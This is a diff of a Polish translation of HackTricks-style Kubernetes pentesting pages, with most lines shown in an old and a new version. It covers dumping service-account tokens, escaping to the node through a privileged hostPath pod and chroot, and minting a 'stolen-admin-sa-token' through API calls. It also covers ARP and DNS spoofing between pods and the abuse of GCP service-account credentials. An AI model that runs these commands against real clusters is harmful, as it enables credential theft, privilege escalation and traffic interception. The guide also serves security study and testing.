{{#endtab }}
{{#endtabs }}
Jeśli możesz odczytać secrets, możesz użyć następujących linii, aby uzyskać uprawnienia powiązane z każdym tokenem:
Jeśli możesz odczytać secrets, możesz użyć następujących linii, aby uzyskać privileges związane z każdym tokenem:
```bash
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
```
### Pobierz Service Accounts
Jak omówiono na początku tej strony, **gdy pod jest uruchamiany, zwykle przypisywany jest do niego service account**. Dlatego wyświetlenie listy service accounts, ich uprawnień oraz tego, gdzie są uruchomione, może pozwolić użytkownikowi na eskalację uprawnień.
Jak omówiono na początku tej strony **gdy pod jest uruchamiany, zwykle przypisywany jest do niego service account**. Dlatego wylistowanie service accounts, ich uprawnień oraz miejsc, gdzie są uruchomione, może pozwolić użytkownikowi na eskalację uprawnień.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -302,7 +331,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
### Pobierz Deployments
Deployments określają pożądany stan dla workloadów aplikacji bezstanowych. Tworzą ReplicaSets, a te ReplicaSets tworzą Pods.
Deployments określają pożądany stan dla bezstanowych workloads aplikacji. Tworzą ReplicaSets, a te ReplicaSets tworzą Pods.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -321,7 +350,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/deployments/
### Pobierz StatefulSets
StatefulSets zarządzają Podami, które potrzebują stabilnych nazw, uporządkowanego rollout behavior i często persistent volumes dla każdej repliki.
StatefulSets zarządzają Podami, które potrzebują stabilnych nazw, uporządkowanego zachowania rollout, oraz często trwałych wolumenów per-replica.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -359,7 +388,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
### Pobierz Services
Kubernetes **services** są używane do **udostępnienia usługi na określonym porcie i IP** (które będą działać jako load balancer dla podów, które faktycznie oferują usługę). Warto to wiedzieć, aby znaleźć inne usługi, które można spróbować zaatakować.
Kubernetes **services** są używane do **wystawienia usługi na określonym porcie i IP** (które będą działać jako load balancer dla pods, które faktycznie oferują usługę). Warto to wiedzieć, aby znaleźć inne usługi, które można spróbować zaatakować.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -378,7 +407,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/services/
### Pobierz nodes
Pobierz wszystkie **nodes skonfigurowane wewnątrz cluster**.
Pobierz wszystkie **nodes skonfigurowane wewnątrz klastra**.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -396,7 +425,7 @@ kurl -v https://$APISERVER/api/v1/nodes/
### Uzyskaj DaemonSets
**DaemonSets** zapewniają, że **konkretny Pod działa na wszystkich wybranych node'ach** klastra. Jeśli usuniesz DaemonSet, Pody nim zarządzane również zostaną usunięte.
**DaemonSets** zapewniają, że **określony Pod działa na wszystkich wybranych nodach** klastra. Jeśli usuniesz DaemonSet, Pod-y zarządzane przez niego również zostaną usunięte.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -412,9 +441,9 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/daemonsets
{{#endtab }}
{{#endtabs }}
### Uzyskaj Jobs
### Pobierz Jobs
Jobs tworzą Pods, które działają do zakończenia. Są powszechnie używane do migracji, backupów, pracy wsadowej i jednorazowych zadań administracyjnych.
Jobs tworzą Pods, które działają do zakończenia. Są często używane do migracji, backupów, pracy wsadowej oraz jednorazowych zadań administracyjnych.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -452,7 +481,7 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/cronjobs
### Pobierz configMap
configMap zawsze zawiera dużo informacji i plików konfiguracyjnych, które są dostarczane do aplikacji uruchomionych w kubernetes. Zazwyczaj możesz znaleźć wiele haseł, sekretów, tokenów, które są używane do łączenia się i uwierzytelniania w innych wewnętrznych/zewnętrznych usługach.
configMap zawsze zawiera dużo informacji i plików konfiguracyjnych, które są dostarczane do aplikacji działających w kubernetes. Zwykle można tam znaleźć wiele haseł, secrets i tokenów używanych do łączenia się i uwierzytelniania w innych wewnętrznych/zewnętrznych usługach.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -480,7 +509,7 @@ k get CiliumClusterwideNetworkPolicies
{{#endtab }}
{{#endtabs }}
### Pobierz wszystko / Wszystkie
### Pobierz wszystko / Wszystko
{{#tabs }}
{{#tab name="kubectl" }}
@@ -500,7 +529,7 @@ k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
{{#endtab }}
{{#endtabs }}
### **Uzyskaj zużycie Pods**
### **Pobierz zużycie Podów**
{{#tabs }}
{{#tab name="kubectl" }}
@@ -512,21 +541,21 @@ k top pod --all-namespaces
## Interacting with the cluster without using kubectl
Widząc, że control plane Kubernetes udostępnia REST-ful API, możesz ręcznie tworzyć żądania HTTP i wysyłać je innymi narzędziami, takimi jak **curl** lub **wget**.
Widząc, że Kubernetes control plane udostępnia REST-ful API, możesz ręcznie tworzyć żądania HTTP i wysyłać je za pomocą innych narzędzi, takich jak **curl** lub **wget**.
### Escaping from the pod
Jeśli możesz tworzyć nowe pody, możesz być w stanie z nich uciec do node. Aby to zrobić, musisz utworzyć nowy pod przy użyciu pliku yaml, przełączyć się na utworzony pod, a następnie wykonać chroot do systemu node'a. Możesz użyć już istniejących podów jako referencji dla pliku yaml, ponieważ pokazują one istniejące images i pathes.
Jeśli możesz tworzyć nowe pody, możesz być w stanie z nich uciec do node. Aby to zrobić, musisz utworzyć nowy pod przy użyciu pliku yaml, przełączyć się na utworzony pod, a następnie wykonać chroot do systemu node. Możesz użyć już istniejących podów jako referencji dla pliku yaml, ponieważ pokazują one istniejące images i pathes.
```bash
kubectl get pod <name> [-n <namespace>] -o yaml
```
> jeśli musisz utworzyć pod na konkretnym node, możesz użyć następującego polecenia, aby uzyskać labels na node
> jeśli musisz utworzyć pod na konkretnym node, możesz użyć następującego polecenia, aby pobrać labels na node
>
> `k get nodes --show-labels`
>
> Zwykle kubernetes.io/hostname i node-role.kubernetes.io/master są dobrymi labelami do wyboru.
> Zwykle, kubernetes.io/hostname i node-role.kubernetes.io/master są dobrymi label do select.
Następnie tworzysz swój plik attack.yaml
Następnie tworzysz plik attack.yaml
```yaml
apiVersion: v1
kind: Pod
@@ -566,15 +595,15 @@ Teraz możesz przełączyć się do utworzonego poda w następujący sposób
```bash
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
```
I na koniec wykonujesz chroot do systemu nodea
I na końcu wykonujesz chroot do systemu noda
```bash
chroot /root /bin/bash
```
Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
Informacje uzyskane z: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
### Tworzenie privileged pod
Odpowiedni plik yaml wygląda następująco:
Odpowiadający plik yaml wygląda następująco:
```yaml
apiVersion: v1
kind: Pod
@@ -655,7 +684,7 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Usuwanie Service Account
### Usunięcie Service Account
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -690,7 +719,7 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Usuń Role
### Usunąć Role
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -760,7 +789,7 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Usuń Secret
### Usunięcie Secret
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
## Wprowadzenie
## Introduction
W Kubernetes zaobserwowano, że domyślne zachowanie pozwala na nawiązywanie połączeń między **wszystkimi kontenerami znajdującymi się na tym samym node**. Dotyczy to niezależnie od różnic między namespace. Taka łączność sięga aż do **Layer 2** (Ethernet). W konsekwencji ta konfiguracja może narażać system na podatności. Konkretnie, otwiera możliwość, aby **malicious container** wykonał **ARP spoofing attack** przeciwko innym kontenerom znajdującym się na tym samym node. Podczas takiego ataku malicious container może podstępnie przechwycić lub zmodyfikować ruch sieciowy przeznaczony dla innych kontenerów.
W Kubernetes zaobserwowano, że domyślne zachowanie pozwala na nawiązywanie połączeń między **wszystkimi kontenerami znajdującymi się na tym samym node**. Dotyczy to niezależnie od różnic między namespace. Taka łączność sięga aż do **Layer 2** (Ethernet). W konsekwencji taka konfiguracja potencjalnie naraża system na podatności. Konkretnie otwiera możliwość, aby **malicious container** wykonał **ARP spoofing attack** przeciwko innym kontenerom znajdującym się na tym samym node. Podczas takiego ataku malicious container może podstępnie przechwycić lub zmodyfikować ruch sieciowy przeznaczony dla innych kontenerów.
ARP spoofing attacks polegają na tym, że **attacker wysyła sfałszowane ARP** (Address Resolution Protocol) wiadomości w lokalnej sieci. Powoduje to powiązanie **adresu MAC attacker z adresem IP legalnego komputera lub serwera w sieci**. Po pomyślnym przeprowadzeniu takiego ataku attacker może przechwytywać, modyfikować, a nawet zatrzymywać dane w tranzycie. Atak jest wykonywany na Layer 2 modelu OSI, dlatego domyślna łączność w Kubernetes na tym poziomie budzi obawy bezpieczeństwa.
ARP spoofing attacks polegają na tym, że **attacker wysyła sfałszowane ARP** (Address Resolution Protocol) komunikaty w lokalnej sieci. Powoduje to powiązanie **adresu MAC attackera z adresem IP legalnego komputera lub serwera w sieci**. Po pomyślnym wykonaniu takiego ataku attacker może przechwytywać, modyfikować, a nawet zatrzymywać dane w tranzycie. Atak jest wykonywany na Layer 2 modelu OSI, dlatego domyślna łączność w Kubernetes na tym poziomie budzi obawy o bezpieczeństwo.
W scenariuszu zostaną utworzone 4 maszyny:
- ubuntu-pe: Privileged machine do ucieczki do node i sprawdzania metryk (nie jest potrzebna do ataku)
- ubuntu-pe: Privileged machine do escape na node i sprawdzania metryk (niepotrzebne do ataku)
- **ubuntu-attack**: **Malicious** container w default namespace
- **ubuntu-victim**: **Victim** machine w kube-system namespace
- **mysql**: **Victim** machine w default namespace
@@ -96,22 +96,38 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
```
## Podstawowa sieć Kubernetes
## Basic Kubernetes Networking
Jeśli chcesz więcej szczegółów na temat tematów sieciowych wprowadzonych tutaj, przejdź do referencji.
Jeśli chcesz poznać więcej szczegółów o tematach networkingowych wprowadzonych tutaj, przejdź do references.
### ARP
Ogólnie rzecz biorąc, **pod-to-pod networking inside the node** jest dostępny przez **bridge**, który łączy wszystkie pody. Ten bridge nazywa się “**cbr0**”. (Niektóre network plugins instalują własny bridge.) **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. Gdy przychodzący pakiet dociera do cbr0, może on rozwiązać docelowy adres MAC używając ARP.
Ogólnie rzecz biorąc, **pod-to-pod networking inside the node** jest dostępny przez **bridge**, który łączy wszystkie pody. Ten bridge nazywa się “**cbr0**”. (Niektóre network plugins instalują własny bridge.) **cbr0 może także obsługiwać** ARP (Address Resolution Protocol) resolution. Gdy przychodzący pakiet dociera do cbr0, może on rozwiązać docelowy adres MAC używając ARP.
Ten fakt oznacza, że domyślnie **każdy pod działający na tym samym node** będzie w stanie **communicate** z każdym innym podem na tym samym node (niezależnie od namespace) na poziomie ethernet (layer 2).
Ten fakt oznacza, że domyślnie **każdy pod uruchomiony na tym samym node** będzie mógł **communicate** z każdym innym podym na tym samym node (niezależnie od namespace) na poziomie ethernet (layer 2).
> [!WARNING]
> Dlatego możliwe jest przeprowadzanie A**RP Spoofing attacks between pods in the same node.**
> Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.**
### NetworkPolicy and admin policy layers
Kubernetes `NetworkPolicy` to kontrola ruchu podów na L3/L4, ale jest egzekwowana przez CNI plugin, a nie przez sam API server. Cluster może przechowywać obiekty NetworkPolicy, a mimo to nadal pozwalać na ruch, jeśli aktywny CNI nie implementuje ich, więc zawsze weryfikuj to przy użyciu kontrolowanego dozwolonego source oraz zablokowanego negative-control source.
Nie kończ na `kubectl get networkpolicy -A`. Cluster'y używające Cilium, Calico, OVN-Kubernetes, Antrea lub managed-provider dataplanes mogą też mieć policy APIs takie jak `CiliumNetworkPolicy`, `CiliumClusterwideNetworkPolicy`, Calico `GlobalNetworkPolicy`, `AdminNetworkPolicy` lub `BaselineAdminNetworkPolicy`. Mogą one dodawać explicit deny, tier/order, cluster scope, reguły L7/DNS lub admin guardrails, których zwykła addytywna semantyka Kubernetes NetworkPolicy nie wyjaśnia.
Useful first checks:
```bash
kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico'
kubectl get networkpolicy -A
kubectl get cnp,ccnp -A 2>/dev/null
kubectl get globalnetworkpolicy -A 2>/dev/null
kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null
```
Dla analizy bypassu sprawdź, czy zamierzony block jest omijany przez dozwolony proxy, DNS lub egress gateway, `hostNetwork` pod, node-local path, szeroki namespace lub pod label selector, albo policy admin/global o wyższym precedence. Report source pod labels, namespace labels, destination Service lub EndpointSlice, CNI/policy implementation, decydujący policy rule oraz traffic proof.
### DNS
W środowiskach kubernetes zwykle znajdziesz 1 (lub więcej) uruchomionych **DNS services**, zwykle w namespace kube-system:
W środowiskach kubernetes zwykle znajdziesz 1 (lub więcej) **uruchomionych usług DNS** zazwyczaj w namespace kube-system:
```bash
kubectl -n kube-system describe services
Name: kube-dns
@@ -143,23 +159,23 @@ Jeśli sprawdzisz adres DNS wewnątrz dowolnego poda, znajdziesz coś takiego:
cat /etc/resolv.conf
nameserver 10.96.0.10
```
Jednak pod **nie wie**, jak dotrzeć do tego **adresu**, ponieważ **pod range** w tym przypadku to 172.17.0.10/26.
However, the pod **doesn't know** how to get to that **address** because the **pod range** in this case is 172.17.0.10/26.
Dlatego pod wyśle **DNS requests na address 10.96.0.10**, który zostanie **translated** przez cbr0 **to** **172.17.0.2**.
Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **translated** by the cbr0 **to** **172.17.0.2**.
> [!WARNING]
> To oznacza, że **DNS request** poda zawsze będzie szedł przez **bridge**, aby **translate** **service IP to the endpoint IP**, nawet jeśli DNS server znajduje się w tej samej podnetwork co pod.
> This means that a **DNS request** of a pod is **always** going to go the **bridge** to **translate** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod.
>
> Wiedząc o tym i wiedząc, że **ARP attacks are possible**, **pod** na node będzie w stanie **intercept the traffic** między **each pod** w **subnetwork** a **bridge** i **modify** **DNS responses** z DNS server (**DNS Spoofing**).
> Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is going to be able to **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** and **modify** the **DNS responses** from the DNS server (**DNS Spoofing**).
>
> Co więcej, jeśli **DNS server** znajduje się na tym samym node co attacker, attacker może **intercept all the DNS request** dowolnego poda w cluster (między DNS server a bridge) i modify responses.
> Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses.
> [!NOTE]
> Zweryfikuj aktywny CNI i DNS path, zanim założysz, że to działa w real cluster. Niektóre CNI inaczej routują lub izolują traffic z tego samego node, a cluster używające NodeLocal DNSCache mogą wysyłać pod DNS queries na node-local address przed przekazaniem ich do CoreDNS. W takich środowiskach DNS spoofing zależy od pod placement, packet capabilities, resolver configuration, behavior node-local cache oraz tego, czy applications weryfikują peers za pomocą TLS lub innego mechanizmu tożsamości.
> Validate the active CNI and DNS path before assuming this works in a real cluster. Some CNIs route or isolate same-node traffic differently, and clusters using NodeLocal DNSCache may send pod DNS queries to a node-local address before forwarding to CoreDNS. In those environments, DNS spoofing depends on pod placement, packet capabilities, resolver configuration, node-local cache behavior, and whether applications verify peers with TLS or another identity mechanism.
## ARP Spoofing in pods in the same Node
Naszym celem jest **ukraść przynajmniej communication z ubuntu-victim do mysql**.
Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**.
### Scapy
```bash
@@ -236,16 +252,16 @@ arpspoof -t 172.17.0.9 172.17.0.10
```
## DNS Spoofing
Jak już wspomniano, jeśli **compromise pod in the same node of the DNS server pod**, możesz zrobić **MitM** za pomocą **ARPSpoofing** na **bridge** i **DNS** pod oraz **modify all the DNS responses**.
Jak już wspomniano, jeśli **compromise** pod w tym samym node co pod serwera DNS, możesz wykonać **MitM** z użyciem **ARPSpoofing** na **bridge** i pod DNS oraz **modify all the DNS responses**.
Masz bardzo dobry **tool** i **tutorial**, aby to przetestować: [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
Masz naprawdę dobry **tool** i **tutorial**, aby to przetestować w [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
W naszym scenariuszu, **download** **tool** w attacker pod i utwórz **plik o nazwie `hosts`** z **domains**, które chcesz **spoof**, na przykład:
W naszym scenariuszu, **download** **tool** na attacker pod i utwórz **file named `hosts`** z **domains**, które chcesz **spoof** na przykład:
```
cat hosts
google.com. 1.1.1.1
```
Przeprowadź atak na maszynę ubuntu-victim:
Wykonaj atak na maszynę ubuntu-victim:
```
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
@@ -263,16 +279,16 @@ dig google.com
google.com. 1 IN A 1.1.1.1
```
> [!NOTE]
> Jeśli spróbujesz stworzyć własny skrypt DNS spoofing, to jeśli **tylko zmodyfikujesz odpowiedź DNS**, to **nie** zadziała, ponieważ **response** będzie mi **src IP** adres IP **malicious** **pod** i **nie** zostanie **zaakceptowany**.\
> Musisz wygenerować **new DNS packet** z **src IP** **DNS**, do którego ofiara wysłała zapytanie DNS (czyli coś jak 172.16.0.2, a nie 10.96.0.10, bo to jest K8s DNS service IP, a nie DNS server ip, więcej na ten temat we wstępie).
> Jeśli spróbujesz stworzyć własny skrypt DNS spoofing, jeśli **po prostu zmodyfikujesz odpowiedź DNS**, to **nie** zadziała, ponieważ **response** będzie miała **src IP** adres IP **malicious** **pod** i **nie** zostanie **zaakceptowana**.\
> Musisz wygenerować **nowy pakiet DNS** z **src IP** **DNS**, gdzie ofiara wysłała żądanie DNS (czyli coś w rodzaju 172.16.0.2, a nie 10.96.0.10, to jest IP usługi K8s DNS, a nie IP serwera DNS, więcej o tym w introduction).
## DNS Spoofing via coreDNS configmap
Użytkownik z uprawnieniami zapisu do configmap `coredns` w namespace kube-system może modyfikować odpowiedzi DNS klastra.
Sprawdź też NodeLocal DNSCache, jeśli jest wdrożony. Zwykle działa jako hostNetwork DaemonSet i ma własny ConfigMap, logs, cache oraz forwarding path. Zmiana w CoreDNS może nie być jedynym miejscem, gdzie można wpływać na zachowanie DNS albo je obserwować.
Sprawdź też NodeLocal DNSCache, jeśli jest wdrożony. Zwykle działa jako hostNetwork DaemonSet i ma własny ConfigMap, logi, cache oraz ścieżkę forwarding. Zmiana CoreDNS może nie być jedynym miejscem, w którym można wpłyć na zachowanie DNS lub je obserwować.
Więcej informacji o tym attack sprawdź w:
Więcej informacji o tym ataku znajdziesz w:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/README.md
@@ -280,7 +296,7 @@ abusing-roles-clusterroles-in-kubernetes/README.md
## Abusing exposed kubernetes management services
Usługi takie jak Apache NiFi, Kubeflow, Argo Workflows, Weave Scope i Kubernetes dashboard są często wystawione albo do internetu, albo wewnątrz kubernetes network. attacker, który zdoła **znaleźć dowolną platformę używaną do zarządzania kubernetes i uzyskać do niej access**, może abuse to, aby uzyskać access do Kubernetes API i wykonywać actions takie jak tworzenie nowych podów, modyfikowanie istniejących, a nawet ich usuwanie.
Usługi takie jak Apache NiFi, Kubeflow, Argo Workflows, Weave Scope i Kubernetes dashboard są często wystawione albo do internetu, albo wewnątrz kubernetes network. Atacker, który zdoła **znaleźć dowolną platformę używaną do zarządzania kubernetes i uzyskać do niej dostęp**, może wykorzystać ją do uzyskania dostępu do Kubernetes API i wykonywania akcji takich jak tworzenie nowych podów, modyfikowanie istniejących, a nawet ich usuwanie.
## Enumerating kubernetes network policies
@@ -288,22 +304,22 @@ Pobierz skonfigurowane **networkpolicies**:
```bash
kubectl get networkpolicies --all-namespaces
```
Pobierz **Callico** network policies:
Get **Callico** network policies:
```bash
kubectl get globalnetworkpolicy --all-namespaces
```
Pobierz **Cillium** network policies:
Get **Cillium** network policies:
```bash
kubectl get ciliumnetworkpolicy --all-namespaces
```
Sprawdź inne CRD związane z policy zainstalowane przez Twój network plugin lub security solution:
Pobierz inne CRD związane z politykami zainstalowane przez Twój network plugin lub rozwiązanie security:
```bash
kubectl get crd | grep -i policy
```
## Przechwytywanie Traffic
Narzędzie [**Mizu**](https://github.com/up9inc/mizu) to prosty, ale potężny API **traffic viewer for Kubernetes**, umożliwiający **podgląd całej komunikacji API** między microservices, aby pomóc w debug i troubleshoot regresji.\
Zainstaluje agentów w wybranych podach i zbierze informacje o ich traffic, a następnie wyświetli je w web server. Jednak do tego będziesz potrzebować wysokich uprawnień K8s (i nie jest to zbyt stealthy).
Narzędzie [**Mizu**](https://github.com/up9inc/mizu) to prosty, ale potężny API **traffic viewer for Kubernetes**, który umożliwia **podgląd całej komunikacji API** między microservices, aby pomóc w debug i rozwiązywaniu regresji.\
Zainstaluje agentów w wybranych podach i zbierze informacje o ich traffic, a następnie pokaże je w web server. Jednak do tego będziesz potrzebować wysokich uprawnień K8s (i nie jest to zbyt stealthy).
## References
@@ -4,30 +4,30 @@
## GCP
Jeśli uruchamiasz klaster k8s wewnątrz GCP, prawdopodobnie chcesz, aby jakaś aplikacja działająca w klastrze miała dostęp do GCP. Istnieją 2 popularne sposoby, aby to zrobić:
Jeśli uruchamiasz klaster k8s wewnątrz GCP, prawdopodobnie będziesz chciał, aby jakaś aplikacja działająca wewnątrz klastra miała dostęp do GCP. Są 2 popularne sposoby, aby to zrobić:
### Mounting GCP-SA keys as secret
Powszechnym sposobem nadania **dostępu aplikacji kubernetes do GCP** jest:
Powszechnym sposobem nadania **access do aplikacji kubernetes do GCP** jest:
- Create a GCP Service Account
- Bind na nim wymagane permissions
- Download klucz json utworzonego SA
- Mount it jako secret wewnątrz poda
- Ustaw zmienną środowiskową GOOGLE_APPLICATION_CREDENTIALS wskazującą na path, gdzie znajduje się json.
- Utworzyć GCP Service Account
- Przypisać do niego wymagane permissions
- Pobrać json key utworzonego SA
- Zamontować go jako secret wewnątrz poda
- Ustaw zmienną środowiskową GOOGLE_APPLICATION_CREDENTIALS wskazującą na ścieżkę, gdzie znajduje się json
> [!WARNING]
> Dlatego jako **atakujący**, jeśli przejmiesz kontener wewnątrz poda, powinieneś sprawdzić tę **env** **variable** oraz **json** **files** z credentials do GCP.
> Dlatego, jako **attacker**, jeśli skompromitujesz kontener wewnątrz poda, powinieneś sprawdzić tę **env** **variable** oraz **json** **files** z credentials GCP.
### Relating GSA json to KSA secret
Sposób nadania dostępu GSA do klastra GKE polega na powiązaniu ich w ten sposób:
Sposobem nadania access do GSA w klastrze GKE jest powiązanie ich w ten sposób:
- Create Kubernetes service account w tym samym namespace co Twój klaster GKE, używając następującej komendy:
- Utwórz Kubernetes service account w tym samym namespace co twój klaster GKE, używając następującego polecenia:
```bash
kubectl create serviceaccount <service-account-name>
```
- Utwórz Kubernetes Secret, który zawiera poświadczenia konta usługi GCP, któremu chcesz przyznać dostęp do klastra GKE. Możesz to zrobić za pomocą narzędzia wiersza poleceń `gcloud`, jak pokazano w poniższym przykładzie:
- Utwórz Kubernetes Secret, który zawiera credentials GCP service account, któremu chcesz przyznać dostęp do klastra GKE. Możesz to zrobić za pomocą narzędzia wiersza poleceń `gcloud`, jak pokazano w poniższym przykładzie:
```bash
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
@@ -40,13 +40,13 @@ kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
```
> [!WARNING]
> W **drugim kroku** ustawiono **credentials GSA jako secret KSA**. Następnie, jeśli możesz **odczytać ten secret** z **wewnątrz** klastra **GKE**, możesz **escalate do tego GCP service account**.
> W **drugim kroku** ustawiono **credentials GSA jako secret KSA**. Then, if you can **read that secret** from **inside** the **GKE** cluster, you can **escalate to that GCP service account**.
### GKE Workload Identity
With Workload Identity, możemy skonfigurować [Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) tak, aby działał jako [Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods uruchomione z Kubernetes service account będą automatycznie authenticate jako Google service account podczas dostępu do Google Cloud APIs.
With Workload Identity, we can configure a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) to act as a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods running with the Kubernetes service account will automatically authenticate as the Google service account when accessing Google Cloud APIs.
**Pierwsza seria kroków** potrzebna do włączenia tego zachowania to **enable Workload Identity w GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) i utworzenie GCP SA, który chcesz, aby k8s impersonate.
Pierwsza seria kroków, aby włączyć to zachowanie, polega na **włączeniu Workload Identity w GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) i utworzeniu GCP SA, który chcesz, aby k8s impersonate.
- **Enable Workload Identity** on a new cluster
```bash
@@ -54,12 +54,12 @@ gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
```
- **Utwórz/Zaktualizuj nowy nodepool** (klastry Autopilot nie potrzebują tego)
- **Utwórz/Zaktualizuj nowy nodepool** (Autopilot clusters don't need this)
```bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
```
- Utwórz **GCP Service Account do impersonacji** z K8s z uprawnieniami GCP:
- Utwórz **GCP Service Account do impersonate** z K8s z uprawnieniami GCP:
```bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
@@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
```
- **Połącz się** z **cluster** i **utwórz** **service account** do użycia
- **Połącz się** z **cluster** i **utwórz** **service account**, aby użyć
```bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
@@ -92,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
```
- Uruchom **pod** z **KSA** i sprawdź **dostęp** do **GSA:**
- Uruchom **pod** z **KSA** i sprawdź **access** do **GSA:**
```bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
@@ -118,15 +118,15 @@ kubectl exec -it workload-identity-test \
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
```
Sprawdź następujące polecenie, aby uwierzytelnić się w razie potrzeby:
Sprawdź następującą komendę, aby się uwierzytelnić w razie potrzeby:
```bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```
> [!WARNING]
> Jako attacker wewnątrz K8s powinieneś **szukać SA** z **adnotacją `iam.gke.io/gcp-service-account`**, ponieważ oznacza to, że SA może uzyskiwać dostęp do czegoś w GCP. Inną opcją byłoby spróbowanie nadużycia każdego KSA w klastrze i sprawdzenie, czy ma dostęp.\
> Z GCP zawsze warto wyenumerować bindings i wiedzieć, **jaki access dajesz SA wewnątrz Kubernetes**.
